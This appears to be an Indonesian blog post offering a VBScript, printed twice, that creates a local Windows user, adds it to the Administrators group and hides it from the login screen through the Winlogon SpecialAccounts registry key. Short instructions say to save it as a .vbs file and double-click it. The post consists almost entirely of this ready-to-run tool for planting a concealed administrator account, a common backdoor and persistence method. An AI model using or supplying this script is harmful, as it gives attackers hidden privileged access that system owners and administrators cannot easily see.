Code:
On Error Resume Next
Const ADS_UF_DONT_EXPIRE_PASSWD = &h10000
Set wshNetwork = WScript.CreateObject( "WScript.Network" )
strComputer = wshNetwork.ComputerName
'<<<<Edit next two lines>>>>>>>>
strPassword = "PASSWORD_ANDA"
strUser="USERNAM_ANDA"
Set colAccounts = GetObject("WinNT://" & strComputer)
Set objUser = colAccounts.Create("user", strUser)
objUser.SetPassword strPassword
objUser.SetInfo
Set objUser=GetObject("WinNT://" & strComputer & "/" & strUser)
If objUser.UserFlags And ADS_UF_DONT_EXPIRE_PASSWD Then
objUser.UserFlags=objUser.UserFlags XoR ADS_UF_DONT_EXPIRE_PASSWD
End If
objUser.SetInfo
'Add user to Local Administrators Group
Set objGroup = GetObject("WinNT://" & strComputer & "/Administrators")
objGroup.Add(objUser.ADsPath)
'Hide User Account
HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set ObjRegistry = _
GetObject("winmgmts:{impersonationLevel = impersonate}!\\" _
& strComputer & "\root\default:StdRegProv")
strPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
Return = objRegistry.CreateKey(HKEY_LOCAL_MACHINE, strPath)
Set oReg=GetObject( _
"winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
oReg.SetDWORDValue _
HKEY_LOCAL_MACHINE,strKeyPath,strUser,0
WScript.Echo "Username Created"
WScript.Quit
On Error Resume Next
Const ADS_UF_DONT_EXPIRE_PASSWD = &h10000
Set wshNetwork = WScript.CreateObject( "WScript.Network" )
strComputer = wshNetwork.ComputerName
'<<<<Edit next two lines>>>>>>>>
strPassword = "PASSWORD_ANDA"
strUser="USERNAM_ANDA"
Set colAccounts = GetObject("WinNT://" & strComputer)
Set objUser = colAccounts.Create("user", strUser)
objUser.SetPassword strPassword
objUser.SetInfo
Set objUser=GetObject("WinNT://" & strComputer & "/" & strUser)
If objUser.UserFlags And ADS_UF_DONT_EXPIRE_PASSWD Then
objUser.UserFlags=objUser.UserFlags XoR ADS_UF_DONT_EXPIRE_PASSWD
End If
objUser.SetInfo
'Add user to Local Administrators Group
Set objGroup = GetObject("WinNT://" & strComputer & "/Administrators")
objGroup.Add(objUser.ADsPath)
'Hide User Account
HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set ObjRegistry = _
GetObject("winmgmts:{impersonationLevel = impersonate}!\\" _
& strComputer & "\root\default:StdRegProv")
strPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
Return = objRegistry.CreateKey(HKEY_LOCAL_MACHINE, strPath)
Set oReg=GetObject( _
"winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
oReg.SetDWORDValue _
HKEY_LOCAL_MACHINE,strKeyPath,strUser,0
WScript.Echo "Username Created"
WScript.Quit
Edit baris strPassword dan strUser sesuai dengan nama user dan password anda inginkan.
Simpan kode diatas dengan file berakhiran .vbs
Untuk membuat user account tersebut tinggal double klik pada file tersebut
0 Response to "Membuat Hidden User Account Windows"
Post a Comment